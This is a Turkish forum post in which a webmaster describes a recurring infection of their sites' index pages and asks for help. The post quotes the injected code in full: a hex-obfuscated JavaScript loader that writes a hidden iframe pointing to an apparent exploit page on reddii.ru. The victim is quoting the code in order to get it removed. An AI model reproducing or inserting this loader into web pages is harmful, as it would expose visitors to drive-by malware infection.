Merhaba arkadaşlar. Son 2-3 haftadır sitelerimde bir yabancı kod oluyor kendi kedine nerden yedim nerden bulaştı hiçbir fikrim yok fakat kod iframe kodu ve javascript ile yazılmış. İframede açılan sayfada da trojan var. Ayrıca bu kod zaman içinde index.html yada index.php dosyamı yutuyor yani eritiyor birkaç gün hiç karışmım birde bakıyorum ki index.php yok kopmle silinmiş vaziyette. Tabi tamamen silmeden önce sayfamın html tagının kapanma satırından sonra garip işaretler çıkıyor ters soru işareti vs. vs. vs..

Bu kod body tagından hemen sonra yer alıyor 50 bin kere silsem yinede çıkıyor diger doayalarıda arıyorum yok sadece index yani domain adı browsere ilk girildiği anlda karşınıza gelen ilk sayfada yer alıyor. Nerden yedim bunu bilmiyorum ama değiş müşteri kendi işlerimi kendi sitelerimi bile yapamıyorum. Lütfen bilgisi olan bir arkadaş bilgi verirse sevinirim.

Kod örneği :

<script>function vbYYtYbaYYt(vYYtYatbbYb){  return(parseInt(vYYtYatbbYb,16));}function vtttataYtab(vYbtttbYbYY){  var vaaYtYtYYaa='';for(vbYbYataYab=0; vbYbYataYab<vYbtttbYbYY.length; vbYbYataYab+=2){vaaYtYtYYaa+=(String.fromCharCode(vbYYtYbaYYt(vYbtttbYbYY.substr(vbYbYataYab,2))));}return vaaYtYtYYaa;} document.write(vtttataYtab('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65202069643D225974615961746262616222206E616D653D226261746261746174615922207372633D22687474703A2F2F7265646469692E72752F747261666669632F73706C6F6974312F3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3133333435292B2762595959627459616261222077696474683D2237383522206865696768743D22313722207374796C653D22646973706C61793A206E6F6E653B223E3C2F696672616D653E27293C2F5343524950543E'));</script>

Şimdiden teşekkürler...